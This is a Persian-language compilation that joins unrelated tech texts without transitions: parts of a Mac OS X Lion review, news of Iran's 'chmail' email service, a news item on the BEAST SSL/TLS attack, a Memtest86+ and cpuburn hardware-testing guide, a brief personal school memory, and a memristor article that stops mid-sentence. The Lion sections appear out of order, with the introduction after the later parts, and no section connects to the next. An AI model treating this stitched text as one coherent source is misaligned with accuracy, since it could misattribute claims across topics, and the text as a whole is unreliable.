حفظ ظاهر گرافیکی مرتب و دسته‌بندی‌شده پنجره‌ها است که تا‌کنون دوام آورده و البته نسخه Lion پایان این نگرش دست‌و پاگیر خواهد بود.موضوع مهم ديگر، آن است که خبری از حاشیه‌های معمول برای تغییر اندازه پنجره‌ها، در سیستم‌عامل مک نبوده و در نتیجه مهندسان اپل چاره‌ای جز اختصاص‌دادن چند پیکسل در اطراف لبه‌های هر پنجره برای این منظور نداشته‌اند. بنابراین، هرگاه در بیشه اپل قصد داشتيد اندازه پنجره‌ای را تغيير دهيد، کافی است تا در محدوده چهار تا پنج پیکسل از لبه‌های آن کلیک‌کرده و با استفاده از نشانگر که حالا به شکل مخصوصي تغییر اندازه و شکل داده است، پنجره را به اندازه دلخواه خود درآورید. همچنین استفاده از دکمه‌های Shift و Option، به‌ترتیب برای افزایش یا کاهش اندازه پنجره، با حفظ نسبت اندازه فعلی و تغییر اندازه به‌نسبت مرکز پنجره از جمله امکاناتی است که کاربران را در پذیرفتن این تغییر بزرگ یاری خواهند کرد. برنامه‌های تمام صفحه یکی از ویژگی‌هایی که با قابلیت تغییر اندازه پنجره‌ها بی‌ارتباط نبوده و به‌نوعی جای خالی آن در نگارش‌های پیشین سیستم‌عامل مک به‌شدت احساس مي‌شد، ویژگی اجرای برنامه‌های کاربردی به‌صورت تمام صفحه (Full Screen) است. استانداردی که مشابه آن در بسیاری از سیستم‌عامل‌ها وجود داشته و افزایش بهره‌وری کاربر را به‌دنبال خواهد داشت. در Lion در گوشه بالا و سمت راست پنجره هر برنامه‌ای از جمله مرورگر سافاری، تقویم و پست الکترونیک، که از این قابلیت پشتیبانی کند، علامت بزرگ‌نمایی ظاهر مي شود که با کلیک روی آن، برنامه، ضمن پوشاندن تمامی پنجره‌ها و Dock اصلی به‌صورت تمام صفحه اجرا شده و حتی منوی فوقانی برنامه نیز پنهان می‌شود، که با بردن ماوس به بالای صفحه دوباره پدیدار شده و می‌توان از گزینه‌های موجود استفاده کرده یا از حالت تمام صفحه خارج شد(شكل 6). شكل 6- دکمه بزرگ‌نمایی برنامه‌های کاربردی آن‌ها را به حالت تمام صفحه تبديل مي‌كند. آنچه باید درباره این ویژگی دوست‌داشتنی به آن توجه داشت، این است که بر‌خلاف بسیاری از سیستم‌عامل‌های مرسوم، تمام صفحه‌شدن یک برنامه کاربردی تنها به‌معنای پوشاندن سایر پنجره‌ها یا Dock اصلی نبوده و در واقع، برنامه مذکور فضایی جدید و ويژه را به‌خود اختصاص می‌دهد، يعني کاربر مي‌تواند چندین برنامه تمام صفحه و پنجره‌های متعدد را در کنار یکدیگر در حال اجرا داشته باشد و بدون نیاز به کوچک‌سازی آن‌ها و تنها با استفاده از کلیدهای میانبر یا قابلیت چندلمسی Trackpad موسوم به Multi Gesture میان این فضاها به‌حرکت پرداخته و فعالیت‌های روزانه خود را به‌انجام رساند كه اين مزیتی بزرگ و قابلیتی کاربردی برای کاربران مک است.

قائم مقام دبیر شورایعالی اطلاع رسانی از راه اندازی پست الکترونیکی فارسی با نام " chmail " در کشور با حمایت این شورا خبر داد و این در حالی است که کمتر از یک ماه پیش نیز سازمان فناوری اطلاعات ایران از آغاز به کار رسمی ایمیل ایرانی "ایران" خبر داده بود. به گزارش خبرنگار مهر، پست الکترونیک چاپار که تحت عنوان chmail قرار است سرویس‌دهی عمومی خود را از 20 آذرماه سال جاری آغاز کند امروز سه شنبه از سوی دبیرخانه شورایعالی اطلاع‌رسانی رونمایی شد. این در حالی است که سازمان فناوری اطلاعات ایران نیز اواسط شهریورماه جاری با ارسال پیام کوتاهی به برخی از مشترکان موبایل از آغاز به کار سرویس ایمیل درگاه ملی خدمات الکترونیکی ایران خبر داد و از کاربران اینترنت خواست برای ایجاد و ثبت پست الکترونیکی ایرانی به درگاه IRAN.IR مراجعه کنند که با این وجود به نظر می رسد فصل جدیدی از رقابت ایمیل های ایرانی برای جذب کاربران اینترنت در کشور و با هدف صیانت از اطلاعات الکترونیکی مبادله شده در کشور در حال رقم خوردن است. استفاده از Chmail بدون نیاز به اعلام هویت به گزارش مهر، شورایعالی اطلاع رسانی در راستای پاسخگویی به نیازمندی کشور در حوزه ارتباطات سایبری و همچنین صیانت از اطلاعات الکترونیکی مبادله شده در کشور، خبر از سرویس‌دهی پست الکترونیک چاپار با آدرس chmail.ir از 20 آذر ماه به عموم مردم داد که برای ارائه این سرویس هیچگونه مدارکی برای اعلام هویت افراد لازم نیست و سرویس به صورت رایگان ارائه می‌شود. این ایمیل بومی برای محیط فارسی و با هدف حمایت از خط و زبان فارسی در محیط رایانه ای قابل استفاده بوده و دارای امکاناتی چون تقویم فارسی و تایپ راست به چپ است. حجت ‌الاسلام سعید سالاریان، قائم مقام دبیر شورایعالی اطلاع‌رسانی امروز در نشست خبری هدف از ارائه این پست الکترونیک فارسی را ایجاد دانش فنی در حوزه سرویس ‌دهی گسترده در کشور و ایجاد فضایی برای صیانت از اطلاعات الکترونیکی مبادله شده عنوان کرد و گفت: در حوزه ارائه سرویس‌های گسترده مانند پست الکترونیک و موتور جستجو و اصولا هر نوع سرویس عمومی نباید تنها به یک محصول اکتفا کرد. وی با بیان اینکه بسیاری از تکنولوژی‌ها در این بخش باید براساس نیازمندی کشور تولید شود ادامه داد: این قبیل تکنولوژی ها در دنیا قابل خریداری نیست بلکه نتیجه یک سرمایه ‌گذاری و کار میان مدت و یا بلند مدت و البته با نگاه خاص به نیروی انسانی متخصص است. سالاریان با بیان اینکه شورایعالی اطلاع‌رسانی در حوزه راهبردی با سه نگاه ویژه روبرو است خاطرنشان کرد: یکی از این نگاهها ارائه سرویس گسترده در کشور با توجه به مخاطبان بسیار گسترده در جامعه است براین اساس باید در کشور سرویس‌دهندگان مختلف تشکیل و مورد حمایت قرار گیرند. قائم مقام دبیر شورایعالی اطلاع‌رسانی با اشاره به اینکه یک وزارتخانه، نهاد و یا یک بخش به تنهایی نمی تواند جوابگوی نیاز حوزه فناوری اطلاعات باشد، افزود: نگاه دیگر در این حوزه، مربوط به تولید و بومی‌سازی دانش‌های خاص نرم‌افزاری و در صورت امکان سخت‌افزاری در لایه‌های گسترده است که براین اساس تلاش این است که بتوان این دانش‌ها را در سطح کشور پس از مدتی منتشر کرد و به سمت تشکیل گروه‌های تولید دانش و جامعه‌های دانشی رفت. خداحافظی با پست های الکترونیکی قفل شکسته و ناامن سالاریان با تاکید بر اینکه در حوزه فناوری اطلاعات نیاز به حمایت از نیروهای انسانی متخصص احساس می شود، اظهار داشت: در کشور از سرویس دهنده های پست الکترونیک قفل شکسته و ناامن در سطح انواع سازمان‌ها و نهادها استفاده می‌شود اما با ارائه ایمیل فارسی Chmail تلاش خواهیم کرد تا یک نسخه از محصولی را ارائه کنیم که در سازمان‌ها به صورت رایگان و براساس سیستم های اپن سورس - متن باز- قابل سرویس‌دهی باشد. وی با بیان اینکه براساس مستندات کاملی که ارائه می‌شود، سازمان‌ها خود قادر به سفارشی‌سازی محصول (پست الکترونیکی فارسی) خواهند بود، تصریح کرد که این مشکل امنیتی در کشور بسیار مهم است و متاسفانه کسی بدان توجه نمی کند. یک میلیون کاربر اینترنت عضو Chmail می شوند سالاریان با بیان اینکه جامعه مخاطب هدف پروژه ایمیل فارسی چاپار در فاز اول یک میلیون کاربر و در فاز دوم 1.5 میلیون کاربر است، اضافه کرد: این ایمیل ایرانی فضای یک گیگابایت و امکان پیوست فایل 20 مگابایت را داراست. وی گفت: همزمان با ارائه سرویس پست الکترونیک، با توجه به نیازمندی عموم مردم به دسترسی برخط به اطلاعات موجود در صندوق پست الکترونیک خود، برای اولین بار نرم‌افزار Mail Client با قابلیت نصب بر روی انواع سیستم‌عامل همزمان با شروع سرویس‌دهی عمومی این ایمیل به صورت رایگان به مردم ارائه می شود. به گزارش مهر، نرم‌افزار میل کلاینت در زمان‌هایی که فرد امکان دسترسی به اینترنت و یا اینترانت را ندارد و قصد دارد از منابع صندوق پست الکترونیک خود استفاده کند، کاربرد دارد. همچنین بر روی آدرس chmail.ir امکان دیدن تصاویر بخش‌های مختلف سرویس پست الکترونیک مهیا شده که طی روزهای آینده با راه‌اندازی سامانه چاپار (chaapaar.ir) امکان رصد بخش‌های مختلف سرویس برای کاربرانی که آدرس پست الکترونیک خود را در این سامانه وارد کرده‌اند، مهیا می‌شود. سامانه chaapaar.ir در حقیقت پورتال دسترسی به انواع خدمات ارتباطی محسوب می‌شود که تنها یکی از این خدمات سرویس پست ‌الکترونیک است که با آدرس اختصاری chmail.ir قابل دسترسی خواهد بود.

هنوز مدت زیادی از اخبار پیرامون جعل و سرقت گواهینامه‌های SSL نگذشته است که گروهی از پژوهشگران امنیتی ادعا کرده‌اند که میتوانند در ۱۰ دقیقه رمزنگاری گواهینامه‌های SSL و TLS را بشکنند. بر طبق این ادعا، در کنفرانس امنیتی Ekoparty ابزاری به نمایش درآمده است که BEAST نام گذاری شده است و میتواند قفل گذاری‌های انجام شده SSL و یا TLS بر روی پکت‌ها را به متن روان بازگرداند. به گزارش وین بتا و به نقل از The Register نفوذگران در گردهمایی اخیرشان با عنوان Ekoparty واقع در بوئنوس آیرس، آرژانتین ابزاری را معرفی کرده اند که قادر است رمزنگاری نسخه ۱ و پس از آن در لایه امنیت انتقال (Transport Layer Security) را رمزگشایی کند. بر طبق گفته کارشناسان این آسیب پذیری امنیتی فناوری Secure Socket Layer یا SSL را شامل میشود. شایان ذکر است که این فناوری بنیان امنیت سایت‌های حساس مانند بانک‌ها، شرکت‌های بیمه، سازمان‌های حقوقی و اطلاعات محرمانه است که رابط شبکه‌ای میان مرورگر و سرویس‌دهنده را رمزنگاری میکند. بر طبق اطلاعات منتشر شده دو محقق کاشف این آسیب پذیری اعلام کرده‌اند که نسخه‌های ۱٫۱ و ۱.۲ این فناوری مستعد این سوء استفاده نیستند اما متاسفانه اغلب مرورگرهای وب این ویرایش‌ها را پشتیبانی نمیکنند و در واقع همه سایت‌های مهم از جمله PayPal و یا حتی Gmail میتوانند مورد سوء استفاده هکرهایی قرار بگیرند که کنترل ترافیک شبکه‌ای کاربر به سایت هدف را در دست دارند. نام‌های دو محقق مذکور Thai Duong و Juliano Rizzo می‌باشد. به گفته آنان این کد‌ مخرب آنها بر مبنای Java Script است که مانند یک ویروس اسب تروا به نشست شبکه‌ای میان کاربر و سایت شنود میکند تا در ۱۰ دقیقه فایل کوکی (Cookie) رمزنگاری شده را رمزگشایی کند و در نهایت برای نفوذگر راه حمله را تسریع بخشد. به گفته آنان این نقص امنیتی حتی فناوری HTTP Strict Transport Security را نیز آلوده کرده است که در واقع از ارسال صفحاتی که کاملاً رمزنگاری نشده‌اند جلوگیری می‌نماید. در کنفرانس مذکور آنها به این روش به یک حساب کاربری PayPal نفوذ کردند و آنرا به نمایش گذاشتند. این حمله امنیتی در واقع بنیان طراحی HTTPS و SSL را به نقد گرفته است، اما این اولین بار نیست که کارشناسان از غیر قابل اعتماد بودن SSL صحبت میکنند بلکه در گذشته نیز بحث‌های گسترده‌ای مبانی این لایه شبکه‌ را مورد نقد قرار داده‌اند. اطلاعات بیشتر : The Register کنفرانس Ekoparty

تشخیص مشکلات حافظه رم کار دشواری است. این مشکلات می‌توانند از هنگ كردن مداوم یک برنامه تا ریست‌های پی‌درپی ادامه داشته باشند. حتی اگر هم این مشکلات را ندارید، در زمان خرید یک ماژول رم اضافه این برنامه‌ می‌تواند ایده خوبی برای تست آن باشد. اجرای برنامه تست حافظه دیسک زنده توزیع‌هایی مانند فدورا، اوبونتو و مینت شامل ابزاری به نام +Memtest86 است كه مستقل از محیط گرافیکی سیستم‌عامل و فقط طی چند ثانیه بالا می‌آید. اگر سیستم خود را با دیسک زنده توزیع‌های نام برده شده در بالا بوت کنید، به منوی آنها بر می‌خورید که باید به کمک کلیدهای جهت نمای صفحه‌کلید گزینه Test Memory را انتخاب و Enter بزنید تا بلافاصله کار تست حافظه رم شروع شود. در نسخه‌های اخیر منوهای بوت اغلب توزیع‌ها مخفی شده و به جای آن یک زمان‌سنج نمایش داده می‌شود. اگر پیش از به پایان رسیدن این زمان‌سنج یکی از کلیدهای صفحه کلید را بزنید منوی بوت نمایش داده خواهد شد. محیط برنامه +Memtest86 اگر به بخش خاصی از حافظه اصلی خود مشکوک هستید، می‌توانید از کلید C برای تغییر گزینه‌ تست استفاده یا حتی می‌توانید تست مشخصی را برای بررسی حافظه انتخاب كنيد.چون تنظیمات پیش‌فرض این برنامه، حافظه را به دقت تست خواهد کرد، پیشنهاد می‌شود که تنظیمات را به حال خود بگذارید! +Memtest86 تست‌های متفاوتی روی حافظه انجام می‌دهد که برخی از آن‌ها زمان‌بر هستند. بنابراین پیش از اجرای این برنامه مطمئن شوید که می‌توانید وقت کافی را در اختیار این برنامه قرار دهید. تست پردازنده با cpuburn خاموش‌ یا ریست‌ شدن‌های اتفاقی مخصوصاً هنگامی که در حال کار با یک برنامه سنگین با مصرف پردازشی بالا هستید، می‌تواند نشانه‌ای از معیوب بودن پردازنده، منبع تغذیه یا سیستم خنک کننده پردازنده باشد. یک برنامه کاربردی به نام cpuburn می‌تواند به شما کمک کند تا تشخیص دهید کدامیک از سخت‌افزارهای ذکر شده شما مشکل دارد. cpuburn به این منظور طراحی شده تا یک تست فشار بر کامپیوتر شما تحمیل کند. این کار به سرعت انجام و سبب افزایش دمای پردازنده می‌شود که ممکن است مشکلات کوچک شما را بدتر کند اما می‌توانند نادیده گرفته شوند. cpuburn یک برنامه تست قدرتمند است اما برای استفاده از آن باید احتیاط نمود. این برنامه مانند هر برنامه دیگری در توزیع‌های گنو/لینوکسی در مخازن این توزیع‌ها وجود دارد اما دارای حجم بسیار کمی است و به راحتی از اینترنت قابل دریافت است. در هنگام نصب cpuburn پیام هشداری مبنی بر دقت کامل در استفاده از این برنامه و احتمال آسیب رساندن به سخت‌افزار نمایش داده می‌شود. اجرای cpuburn فرض می‌کنیم شما می‌خواهید ریسک کنید یا واقعاً سیستم شما مشکل ریستارت‌های پیاپی و اتفاقی در هنگام کار با برنامه‌های مختلف دارد. برای اجرای cpuburn نیاز است تا یک پنجره ترمینال باز کنید. اين برنامه شامل تعدادی ابزار مفید برای انواع تست‌ها روی پردازنده‌هایی از خانواده‌های مختلف است. برای دیدن فهرست کامل خانواده‌های پردازنده پشتیبانی شده و چگونگی استفاده از این برنامه می‌توانید راهنمای این برنامه را با اجرای دستور man cpuburn بخوانید. اگر از پردازنده AMD نسل جدید که تولید آن‌ها از چند سال پیش آغاز شده است استفاده می‌کنید، دستور burnK7 را در ترمینال تایپ کنید تا پردازنده شما به آتش کشیده شود! برای آتش کشیدن پردازنده‌های اینتل نیز از دستور burnP6 استفاده کنید. بلافاصله پس از اجرای دستور فشار زيادي روی پردازنده سيستم اعمال می‌شود. تصویر زير برنامه top را نشان می‌دهد که بارهای موجود روی پردازنده را نشان می‌دهد. عیب‌یابی اگر پردازنده، منبع تغذیه یا سیستم خنک کننده کامپیوتر شما مشکل داشته باشد، طی ده تا پانزده ثانیه کامپیوتر شما ریستارت خواهد شد. به دلیل فشار زیادی که این برنامه روی پردازنده اعمال می‌کند، پیشنهاد می‌شود که پس از اجرای دستور سیستم خود را ترک نکنید و پس از اینکه از سالم بودن سخت‌افزار خود مطمئن شدید (در حد چند ثانیه صبر کافی است!) با زدن کلیدهای Ctrl+C این بار سنگین را از روی پردازنده بردارید.

نصب سیستم‌عامل نیازمندی‌های فنی لازم برای نصب سیستم‌عامل حاضر نسبت به نسخه Snow Leopard تغییر چندانی نداشته و از سال 2007 که اپل استفاده از معماری 32 بیتی اینتل را در محصولات خود متوقف کرد، معماری 64‌بیتی به نیازمندی اصلی سیستم‌عامل مک تبديل شد. پس از گذشت چهار سال از مهاجرت به پردازنده‌های 64‌بیتی اینتل، این نخستين نگارش از سیستم‌عامل مک است که با حذف موتور ترجمه Rosetta و جلوگیری از نصب آن توسط کاربر، برنامه‌های قابل اجرا روی نسل گذشته سیستم‌های مک را موسوم به PowerPC پشتیبانی نکرده و به‌نوعی زنگ پایان فرصت کاربران را برای به‌روزرسانی برنامه‌های کاربردی خود به‌صدا در‌آورده است. اگرچه در نگاهی آکنده از منطق، چهار سال زمانی به‌غایت کافی برای تغییر عادت‌ها و استفاده از برنامه‌های کاربردی توسعه‌داده‌شده برای سیستم‌های مبتنی‌بر معماری اینتل است، اما حقیقتی که نباید از آن چشم‌ پوشید آن است که بسیاری از برنامه‌های توسعه داده شده برای PowerPC هم‌چنان در میان کاربران سیستم‌های مك رواج دارند. می‌توان دلایل مختلفی را هم برای آن برشمرد که از آن‌‌جمله، قیمت بالای برخی برنامه‌های کاربردی جدید مانند فتوشاپ یا نبود گزینه تجاری معادل برای يك برنامه خاص مانند Quicken است. علاوه بر مورد فوق، Lion از حیث دیگری نیز بسیار متفاوت از نگارش‌های گذشته است. اپل پس از تجربه موفق عرضه محصولاتی مانند iLife، iWork و Aperture از طریق فروشگاه آنلاين Mac App Store، در اقدامی تعجب برانگیز، در ابتدا تنها رسانه عرضه نگارش Lion را نیز فروشگاه مک اعلام کرد تا به‌نوعی جهت‌گیری خود را به‌سوی محاسبات ابری و حذف هزینه‌های ناشی از تهیه، بسته‌بندی و توزیع میلیون‌ها نسخه از رسانه‌های انتقالی مانند لوح‌های فشرده، بیش از پیش نمایان سازد. سیاستی که البته به‌دلیل نبود زیرساخت اینترنت پرسرعت برای بارگذاری نزدیک به 8/3 گیگابایت در تمامی نقاط دنیا، با نارضایتی بسیاری از کاربران مک، همراه شد و اپل را متقاعد ساخت تا از ماه آگوست، سیستم‌عامل Lion را روی حافظه‌های فلش و با قیمت 69 دلار (40 دلار گران‌تر از نسخه آنلاین) در فروشگاه‌های رسمی خود عرضه کند. نصب Lion، بی‌اندازه آسان است. در واقع پس از بارگذاری و اجرای فایل نصب، تنها گام باقی‌مانده موافقت با شرایط استفاده و مشخص کردن محل نصب بوده (شكل 1) و در چشم به‌هم زدنی صدای غرشی مهیب به‌گوش خواهد رسید! اما اگر از کاربران حرفه‌ای یا اندکی کنجکاو سیستم‌های کامپیوتری باشید، بدون شک این سؤال برایتان به‌وجود آمده که نصب سیستم‌عاملی جدید روی یک سیستم‌عامل دیگر و روی یک فضاي ذخيره‌سازي یکسان و بدون استفاده از دیسک بوت چگونه امکان‌پذیر خواهد بود؟ در واقع، هیچ معجزه‌ یا خلاقیت خارق‌العاده‌ای در کار‌نیست. پس از اجرای فایل نصب و دنبال کردن مراحل آن، سیستم از نو راه‌اندازي شده و نگارش Lion با پارتيشن‌بندي دوباره هاردديسك و اشغال نزدیک به 650 مگابایت از آن (پس از فشرده‌سازی فایل نصب)، پارتیشنی را ایجاد می‌کند که علاوه بر نصب سیستم‌‌عامل از روی آن، در آینده به‌عنوان پارتیشن بازیابی(Recovery Partition) نیز مورد استفاده قرار خواهد گرفت. شكل 1- نمایی از صفحه نخست برنامه نصب Lion خرید و نصب سیستم‌عامل Lion در ایران اگرچه در ایران عدم رعایت حق تألیف محصولات نرم‌افزاری یا همان کپی‌رایت، در حال تبدیل شدن به یک عادت و روال معمول برای جمع کثیری از فعالان حوزه فناوری اطلاعات است، اما واقعیت آن است که هم‌چنان هستند کاربرانی که تا هرکجا که امکان‌پذیر باشد، از خرید و استفاده از نرم‌افزارها یا سیستم‌‌عامل‌های غیررسمی که به‌لطف نبود قانونی مدون در این بخش، در تمامی فروشگاه‌های سراسر کشور در دسترس عموم قرار دارند، حذر کرده و سعی می‌کنند تا به‌نوعی نسخه اصل محصول مورد نظر خود را به‌دست آورده و از آن استفاده کنند. خبر خوش برای این گروه از طرفداران سیستم‌عامل مک آن‌که در حال حاضر، دست‌كم دو روش برای خرید قانونی سیستم‌عامل Lion، با قیمت معقول 29 دلار در کشور وجود دارد؛ البته به‌دلایلی که نیازی به‌تکرار آن‌ها نیست، با دشواری‌هایی همراه است. روش نخست تهیه یک کارت ویزای بین‌المللی از طریق یکی از بانک‌های عرضه‌کننده این خدمات و سپس خرید Lion از طریق فروشگاه مک است. روش دوم که اجرای آن به‌مراتب سریع‌تر و سهل‌تر از روش قبل است، خرید یک کارت هدیه iTunes از یکی از فروشگاه‌های عرضه‌کننده محصولات اپل در تهران یا شهرستان‌ها و استفاده از آن برای خرید سیستم‌عامل جدید اپل است. در واقع این کارت، حکم کارت‌اعتباری یک‌بار مصرفی را دارد که پس از استفاده دیگر قابليت شارژ ندارد و چیزی شبیه به کارت‌های هدیه ارائه شده توسط بانک‌های کشور است. اگرچه پوشیدن لباس، رفتن به یکی از مغازه‌های عرضه غیرقانونی نرم‌افزارهای مک و خرید یک سیستم‌عامل Lion و حتی ساده‌تر از آن، بارگذاری غیرقانونی این محصول از طریق سایت‌های به‌اشتراک‌گذاری فایل، فرآیندی به‌مراتب ساده‌تر و صد البته به لحاظ اقتصادی به‌صرفه‌تر است، اما در حقيقت، این روش چه از لحاظ قانونی و چه از ‌لحاظ انسانی عملی ناپسند‌بوده و به‌نوعی تضییع حقوق تولید‌کننده محسوب می‌شود. بنابراین، کمی زحمت را به‌جان بخرید، اما جزء سارقان نرم‌افزاری نباشید! ساخت دیسک بازیابی سیستم‌عامل Lion سیستم‌عامل Lion در زمان نصب اولیه، بخشی از حافظه جانبی را به پارتیشن بازیابی (Recovery Partition) اختصاص می‌دهد تا در موقع لزوم کاربران بتوانند با استفاده از اطلاعات موجود روی این بخش از حافظه سیستم‌عامل را دوباره نصب یا بازنصب (Repair) کرده یا از ابزارهای تعبیه شده در آن برای برطرف‌کردن ایرادهاي پیش آمده استفاده کنند.اما موضوع قابل توجه آن است که چه در زمانی که خود حافظه جانبي دچار مشکل شود یا زماني كه بخواهیم سیستم‌عاملی را که با هزار زحمت از فروشگاه مک بارگذاری کرده‌ایم، روی سیستم دیگری نصب کنیم، تنها ابزاری که می‌تواند کاربر را از یک کابوس بزرگ نجات دهد، وجود یک نسخه از سیستم‌عامل روی یک حافظه خارجی یا لوح فشرده است. اگرچه از همان نخستين ساعات عرضه سیستم‌عامل Lion، روش‌های مختلفی برای ساخت چنین دیسکی روی پایگاه‌های اینترنتی قرار گرفت، اما ارائه برنامه‌ای از جانب اپل با نامLion Recovery Disk Assistant علاوه‌بر تأیید این نیاز، خیال کاربران غیرحرفه‌ای را نیز از بابت ساخت آسان یک دیسک پشتیبان آسوده كرد. با استفاده از این برنامه کاربر مي‌تواند روی هر نوع حافظه جانبی خارجی با حداقل گنجايش يك گیگابایت، سیستم‌عامل Lion را پشتیبان گرفته و در مواقع لزوم از آن استفاده کند.البته ذکر این نکته ضروری است که راه‌حل دیگری نیز وجود دارد و آن خرید فلش سیستم‌عامل Lion است که توسط اپل و با قیمت 69 دلار به بازار عرضه شده است تا آن‌دسته از کاربرانی که علاقه‌اي به بارگذاری این سیستم‌عامل از فروشگاه مک نداشته یا حوصله ساخت دیسک پشتیبانی را ندارند، خیلی راحت، وارد فروشگاه‌های عرضه محصولات اپل شده و با یکی از این فلش‌ها خارج شوند.

از پلنگ چیتا، نخستين نگارش سری X سیستم‌عامل مکینتاش1 (Mac OS X) تا به ‌امروز، نزدیک به ده‌سال می‌گذرد. در این سال‌ها، اپل فراز و نشیب‌های بسیاری داشته و سعی کرده در هر نگارش عرضه شده از این سیستم‌عامل، محصولی قدرتمندتر، کاربرپسندتر و با قابلیت استفاده بالاتر نسبت به نسخه‌های پیشین ساخته و در اختیار علاقه‌مندان محصولات خود قرار دهد. تلاشی که در بسیاری موارد با موفقیتی چشم‌گیر و در برخی مقاطع زمانی، با نارضایتی کاربران مکینتاش و در نتیجه تلاش برای ارائه سیستم‌عاملی بهتر همراه بوده است. مسلم آن است که تلاش شرکت‌هایی مانند مایکروسافت، هیولت پاکارد و هم‌چنین جنبش نرم‌افزاری اپن‌سورس و در رأس آن‌ها انواع توزیع‌های لینوکس برای تصاحب سهم بیشتری از بازار سیستم‌عامل‌های دنیا، مجالی برای توقف، نه برای اپل که برای هیچ‌یک از دیگر تولیدکنندگان سیستم‌‌عامل‌ها باقی نگذاشته و در نتیجه هر یک از این غول‌های نرم‌افزاری به دنبال عرضه محصولی نوین با هدف برطرف‌كردن مشکلات پیشین کاربران در کاربری سیستم و پاسخ‌گویی به نیازمندی‌های جدید ایشان هستند. قاعده‌ای که اپل نیز از آن مستثنی نبوده و عرضه نگارش جدید سیستم‌عامل مکینتاش با نام تجاری Lion (شیر) شاهدی بر این مدعا است. سيستم‌عامل Lion، به‌گفته استیو جابز در کنفرانس سالیانه توسعه‌دهندگان اپل، به همراه بیش از 250 ویژگی جدید، تمرکز خود را بر رابط بصري (يا گرافیکی) کاربر (GUI) و آساني استفاده از آن قرار داده و اپل با عرضه آن امید فراوانی دارد تا کاستی‌های موجود در نگارش قبلی، یعنی Snow Leopard را که از حیث کارایی و امنیت، جایگاه قابل‌قبولی در میان سیستم‌عامل‌های دنیا دارد، برطرف کند. در مجموعه مطالب پيش‌رو ضمن بررسی مهم‌ترین تغییرات صورت گرفته نسبت به نگارش‌های گذشته، جذاب‌ترین و کاربردی‌ترین ویژگی‌های افزوده شده را معرفی کرده و به بررسی آن‌ها پرداخته‌ايم. پيوست: 1- کاراکتر X در پیش‌نام يا پس‌نام محصولات اپل مانند Mac OS X یا XCode معرف دهمین نگارش این محصولات بوده که استفاده از کاراکتر یونانی معادل، روشی مرسوم در میان تولیدکنندگان نرم‌افزارها و برنامه‌های کاربردی است. استفاده از این کاراکتر یا واژه X در طول مقاله حاضر نیز، به همین مفهوم اشاره دارد.

آخیییییییییی یادش بخیر من اصلا گریه نکردم خواهرم سه سال از من بزرگتر بود و خوب بالطبع داخل یه مدرسه درس می خوندیم یادمه به جای مامانم با خواهرم و دوستای خواهرم رفتم مدرسه خواهرم هم تمام کوچه پس کوچه های اطراف رو که از خونه به مدرسه راه داشت رو بهم نشون داد. معلممون اول خانم بهرامی بود بعد از یکی دو جلسه معلممون عوض شد و خانم عسگری به جاش اومد

قالب حافظه ساخت ممريستور بيشتر به معجزه شبيه بود. مهندسان الكترونيك به مدت پنجاه سال شبكه‌هايي از ترانزيستورها را (كه در واقع مصالح اوليه ساخت تراشه‌هاي حافظه محسوب مي‌شوند) براي ذخيره‌ هر بيت از اطلاعات توليد كرده‌اند، بدون اين‌كه بدانند در حال شبيه‌سازي عملكرد ممريستور هستند. حال ويليامز با تكيه بر دانش چوا اعلام مي‌كند، چيزي كه اين مهندسان احتياج دارند يك سازه بسيار كوچك است. اولين كاربرد بالقوه ممريستور ساخت يك جايگزين توانمند براي حافظه‌هاي فلش است. براي نمونه مي‌توان به نوعي از حافظه‌هاي فلش كه در برنامه‌ها كاربرد دارد و بايد داراي قابليت نوشتن صحيح اطلاعات و بازنويسي آن‌ها باشد، اشاره كرد. انواع ديگر حافظه فلش در دوربين‌ها و حافظه‌هاي USB كاربرد دارد. قابليت بازنويسي حافظه ممريستور نيز مثل حافظه فلش حدود ده هزار مرتبه است و پس از آن جابه‌جايي مداوم اتم‌ها موجب تخريب حافظه مي‌شود. اين خصوصيت امكان استفاده از ممريستور را به‌عنوان حافظه كامپيوتر از بين مي‌برد. اما ويليامز معتقد است، امكان بهبود پايداري حافظه‌ ممريستور وجود دارد. به اعتقاد وي اين ابزار بهترين گزينه براي ساخت حافظه‌هاي بسيار سريع با قابليت دسترسي تصادفي (RAM) و حتي درايوهاي هاردديسك محسوب مي‌شوند. اگر موضوع اين مقاله بررسي عادي پيشرفت‌هاي علم الكترونيك بود، در همين‌جا به پايان مي‌رسيد. ساخت مواد جديد براي حافظه‌ها به تنهايي موجب پيشرفت فناوري حافظه نمي‌شود. ما همواره بايد به پيشرفت‌هاي كاربردي الكترونيك و همچنين به بهبودهاي بنيادين و انگشت‌شمار فيزيك كه امكان استفاده عملي از مفاهيم الكترونيك را فراهم مي‌كنند، مبالات كنيم. اما ممريستور چه تفاوتي با ساير پيشرفت‌هاي الكترونيك دارد؟تشريح اين موضوع مستلزم تغيير اساسي چشم‌انداز به سمت دنياي ارگانيسم‌هايي موسوم به Physarum Polyce Phalum است. اين ارگانيسم‌هاي تك‌سلولي به نحو شگفت‌آوري هوشمند هستند. اين موجود مي‌تواند محيط اطراف را حس كرده و نسبت به آن عكس‌العمل نشان دهد. به‌علاوه، قادر است معماهاي ساده را حل كند. "يك ارگانيسم تك‌سلولي بدون ياخته‌هاي عصبي، به‌گونه‌اي قادر است الگوي اتفاقات محيط اطراف را به‌ياد آورد." به‌احتمال، جالب‌ترين قابليت اين ارگانيسم كه توسط تتسو سايسوگا و همكارانش در دانشگاه Hokkaido واقع در ساپورو ژاپن گزارش شد، توانايي پيش‌گويي رخدادهاي دوره‌اي است. ارگانيسم Physarum Polyce Phalum به‌واسطه ترشح ماده‌اي موسوم به sol جابه‌جا مي‌شود. قسمت داخلي اين ماده از جنس ژلاتين است. به همين دليل، امكان جابه‌جايي آن را در يك راستاي مشخص فراهم مي‌كند. اين ارگانيسم در دماي اتاق در هر ساعت تنها يك سانتي‌متر جابه‌جا مي‌شود، اما اگر اين موجود در معرض جريان هواي گرم و مرطوب قرار گيرد، با سرعت بيشتري جابه‌جا مي‌شود. به همين ترتيب، در جريان هواي سرد و خشك از سرعت حركت آن كاسته مي‌شود. محققان ژاپني، اين موجود را به مدت ده دقيقه در جريان هواي سرد قرار دادند و سپس آن را به جريان هواي گرم منتقل كردند و اين فرآيند را سه مرتبه تكرار كردند. در اين آزمايش با تغييرات دما، سرعت حركت ارگانيسم تغيير مي‌كرد.اما پس از مدتي نحوه‌آزمايش را تغييردادند. در مرتبه‌چهارم به‌جاي دميدن هواي سرد روي PolycePhalum، هيچ اقدامي انجام ندادند. عكس‌العمل ارگانيسم بسيار جالب بود؛ در مقابل وزش هواي سرد كه البته هرگز اتفاق نيفتاد، حركت آن كند شد. اين رفتار ارزش كمي تفكر را دارد. اين موجود 